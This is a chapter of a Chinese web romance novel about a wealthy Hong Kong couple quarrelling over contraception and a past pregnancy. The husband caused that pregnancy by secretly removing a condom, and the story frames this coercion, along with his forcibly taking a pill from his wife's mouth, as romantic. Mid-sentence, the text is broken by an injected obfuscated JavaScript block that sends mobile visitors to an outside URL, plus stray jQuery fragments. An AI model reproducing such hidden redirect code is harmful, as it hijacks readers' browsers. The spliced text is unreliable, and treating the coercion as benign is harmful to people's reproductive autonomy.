4.陈年事

作品:《美艳妻子离婚后

    黎雅柔正嚼着Q弹软糯的海螺片,他突然一本正经地说骚话,害她差点噎死。


    黎雅柔僵直身体,花容失色,有一碗浓稠的粥堵在芯口。


    她有不详的预感,仔细回想下午,他们两人的兴致都来得气势汹汹,他又拿出了许久没用的手铐,她紧张又期待,还被他蒙着眼睛,所以根本就不知道他到底做没做措施!!


    “庄綦廷!”黎雅柔紧张地看着面色自若的丈夫,抓住他的手臂,“你戴了没有?”


    越想越慌,是真没有,她能感觉到那种热真真切切,毫无阻隔。


    “戴什么。”庄綦廷挑眉。


    “别装傻,你是不是故意的!你——”黎雅柔感觉天都塌了,她最近是排卵期!


    医生说过她是极易受孕的倒霉体质!而且庄綦廷的种和他这个人一样,比一般男人都强势有劲,但凡不注意就生猛扎根。


    她都四十多岁了……


    不可能这么倒霉吧?不论是意外怀上还是拿掉,对身体都是极大的损耗!她一点一点一点都不想摊上这种事!


    她甚至能想到周围人会在私底下怎么嘲笑她。


    嘲她老蚌生珠……


    嘲她一把年纪还靠肚子笼络男人……


    嘲她为了给庄家拼女儿,疯魔了……


    黎雅柔捏紧了拳头,“你没有这么过分,对吧。”那双清澈的桃花眼充满了渴望,期待着他说当然没有。


    庄綦廷抬手抚过妻子细腻的脸颊,心底忽然有不合时宜的恶劣,吓唬吓唬她好了,谁让她最近对他态度差,张口闭口就是“离婚”“老东西”。


    他勾唇,笑着说:“反正你还年轻,趁着现在机会好,我们再要一个女儿怎么样?”


    年轻个屁!!


    “我恨你,我恨你,庄綦廷,你个丧尽天良的老东西……”黎雅柔喃喃着,崩溃地站起来。


    “去哪?”庄綦廷抓住她的手臂,被她大力挣脱。


    黎雅柔连鞋都跑掉了一只,飞快地朝卧房奔去,淡金的丝质长袍被风鼓起来,裙摆绣着珠花和亮片,闪闪烁烁地,像凤凰拖着长羽。


    庄綦廷快步跟上,唇线紧抿,神情格外严肃。


    黎雅柔回到卧室就去翻柜子,找到了常备的小药箱,从里面拿了一板药。这是以备不时之需的紧急避/孕药,常年为庄家服务的医疗团队开给她的,比市面上卖的都要好,副作用极小。


    但毕竟也是药,是药三分毒。


    去茶几拿了一瓶水,拧开。


    “你要吃什么。”庄綦廷强势地夺过她手里的药,看清楚上面的字,眉头紧紧蹙在一起,很不是滋味,“不用吃这个,不会怀。”


    黎雅柔不信他,要吃。


    “我说了不用吃,刚才是开玩笑,是我不好,不该开这种玩笑。”庄綦廷要抱她,言语间也哄着。


    她早就不是孕育的最佳年纪,他们也有了三个孩子,足够了,他怎么可能还让她遭这份罪。随口的玩笑她还真信了,他又不是畜牲。


    没有戴是为了体验感,几天没做了,他可不想还隔着一层薄膜,他近期有按时服用医生开具的男士避/孕药,新研发出来的高科技,市面上还没有,据说实验效果很好。


    黎雅柔的脸胀红了,仰面怒视着庄綦廷:“我吃个药你也要管!”


    她突然手快,抢过药,掰了一粒丢进嘴里。


    庄綦廷面色铁青,冷厉地掐住她的下颌,掰开她的红唇,长指探入口腔,金色的婚戒差点磕到她牙齿,他二话不说就把药从红软的舌根底下扒了出来,随后平静地扔进垃圾桶,连带着那一板药,都扔了。


    指腹沾了她的口水,湿漉漉的,他轻轻揉碾开。


    闹剧到这里,庄綦廷也有了恼意,他很少在黎雅柔面前动怒。


    “我是你丈夫,就这样不值得你信任?”


    这句话触动了黎雅柔,顿时涌起许多委屈,她不是轻易委屈的人,但现下情绪一上来,眼圈都洇红了,她很没意思地笑了笑,“你以前又不是没用过这招,要我怎么信你?”


    “阿柔。”


    庄綦廷滚了滚喉结,不算愉快的往事被突然勾起,令他有些许怅然,字字沉如水,“当年那件事是我大意,但铭仔很可爱,三个里面,你最疼他。”


    “你这种事事尽在掌控之中的人也会大意吗。”黎雅柔自床边坐下,挑眼看向茶台上盛开的落日珊瑚。


    怀黎盛铭那年,她正满心欢喜地准备赴美读硕的资料和签证,虽然结婚生孩子了,也不耽误她做自己喜欢的事,反正家里一大堆的保姆和家庭教师,照顾两个孩子绰绰有余,她完全可以安安心心地在美国享受人生。


    是庄綦廷不想让她出去,做了手脚,中途摘了保险套。


    是了,他这种占有欲极强的男人,怎么可能这么轻易地放自己妻子去国外两年?


    她怀孕了,留学不得不搁置,留在港岛当待产的豪门太太。


    一堆人恭喜她,走到哪里都有人奉承阿谀,喊她庄太太,说她福气好好,能生呢!豪门就爱能生的!


    庄綦廷低低叹了一息,胸口很闷,关于这件事,他解释过很多次,也做了许多许多的弥补。


    孩子还在肚子里时,他送了黎雅柔两栋大厦,一栋在弥敦街,一栋于皇后道,如今市价也有六十多亿。他不顾非议,让这个孩子随了黎姓,在那个年代,又在他们这种家庭,从没有过这种事,闹得沸沸扬扬。在黎雅柔生下小儿子后,次年,他亲自陪黎雅柔去了美国留学,那两年的工作重心全部移到了美国,小儿子也被带去了美国养了两年。


    另外两个儿子则扔在港岛,由保姆和管家照料,这件事惊动了老爷子,老爷子骂他被美色迷昏了头。


    可她为他又一次受苦,的确不够。


    庄綦廷轻叹一声,手臂温柔揽住妻子,垂眸凝视她泛红的眼圈,“怎么还哭了?这件事记了我好久,你也不嫌累。”


    “既然你又提这件事,那我们再从头到尾理一遍。”


    黎雅柔想推开他,被他无形化解了力道,夫妻挨坐在一起。


    “当年你突然说要去美国两年,没给我任何准备,我不高兴也是人之常情,哪个丈夫想和自己的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403804|168647||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妻子两地分居?而且我们还有两个儿子。”


    黎雅柔忽略他灼热温柔的视线,不甘心地说:“我之前申请时就跟你说过,明明是你没放在心上。”


    男人身上的气息深沉,充满诱惑,他知道黎雅柔沉沦于这个味道,这么多年,从没更换过。


    只要有一点能让她喜欢的,他都保留至今。


    他们之间,总是说不清谁挟持了谁,谁在上位,谁在下风。


    “嗯,所以我妥协了,让你缓一年,等我把港岛的事处理好了陪你一起去,我从来都没说不让你去留学,有关你学习上的事,我一向都比你上心,对不对?”


    黎雅柔冷冷地瞧着他,看他怎么胡编,把当年的锅推得干干净净。不过有一点她无法否认,庄綦廷真的非常关心她的学业!就像老父亲关心女儿读书好不好一样!


    他们认识那年,她才十九,很爱玩,可庄綦廷逼她看书,督促她早起,还给她请各种家庭教师!学什么礼仪,艺术管理,国际金融,绘画,品酒,马术,德语,法语,学的她一个头两个大!


    “你那时和我吵架,不肯接受我的提议,单方面与我冷战,把你送我的钢笔都摔坏了,是不是你不乖?”


    “胡说!”那只钢笔是被殃及的!不是她故意摔的!


    庄綦廷大掌包住她纤柔的手指,慢条斯理地捋着十几年前的陈年旧事。他心底承认,那晚摘掉套就是故意的,他一念之差。


    恶劣的占有欲和掌控欲让他变得卑鄙,那时他想,如果黎雅柔怀孕了,是不是就不会非要出国了?他要占有她的全部时间全部视线全部精力,若不是她太能折腾,他恨不得把她关在家里,不准她出门工作社交。


    他没想到就那一次,中了,也不知道上帝是惩罚他,还是奖赏他,一切都太过戏剧性。


    他没打算要第三个孩子。


    “我当时是昏头了,没想到你正在排卵期。但是阿柔,我不可能为了阻止你留学真让你怀孕,我没这么畜牲。”


    “但事实就是我怀孕了,谁知道你说这些是不是你早就想好的措辞。对,你不是畜牲,你是禽兽。”黎雅柔握紧拳头,想揍他。


    庄綦廷捏了捏她的拳头,从善如流:“好,我是禽兽。”


    黎雅柔一愣。


    “不过有件事我这么多年一直好奇,你非要那两年去美国留学是为什么?”庄綦廷话锋陡转,低沉而缓慢。


    黎雅柔凝了神。男人的双眼锐利如鹰隼,活像是要把她剥开,活吞,但又那么温柔地搂着她。


    她眼皮跳了跳。


    庄綦廷明明是这么可怕,心思深沉,不好招惹的一个男人,十九岁的她怎么敢惹他。


    一切故事的开始,都要归咎于她。他是螳螂捕蝉也好,黄雀在后也好,总归是她先找上了他。


    庄綦廷继续温和地说:“你的小竹马初恋在那年刚好公派到哥大。错过了那两年,你就不能和他一起享受校园时光了,我说的对吗。”


    他盯着黎雅柔红润的嘴唇,“毕竟我的阿柔也不是什么爱读书的乖bb。”


    .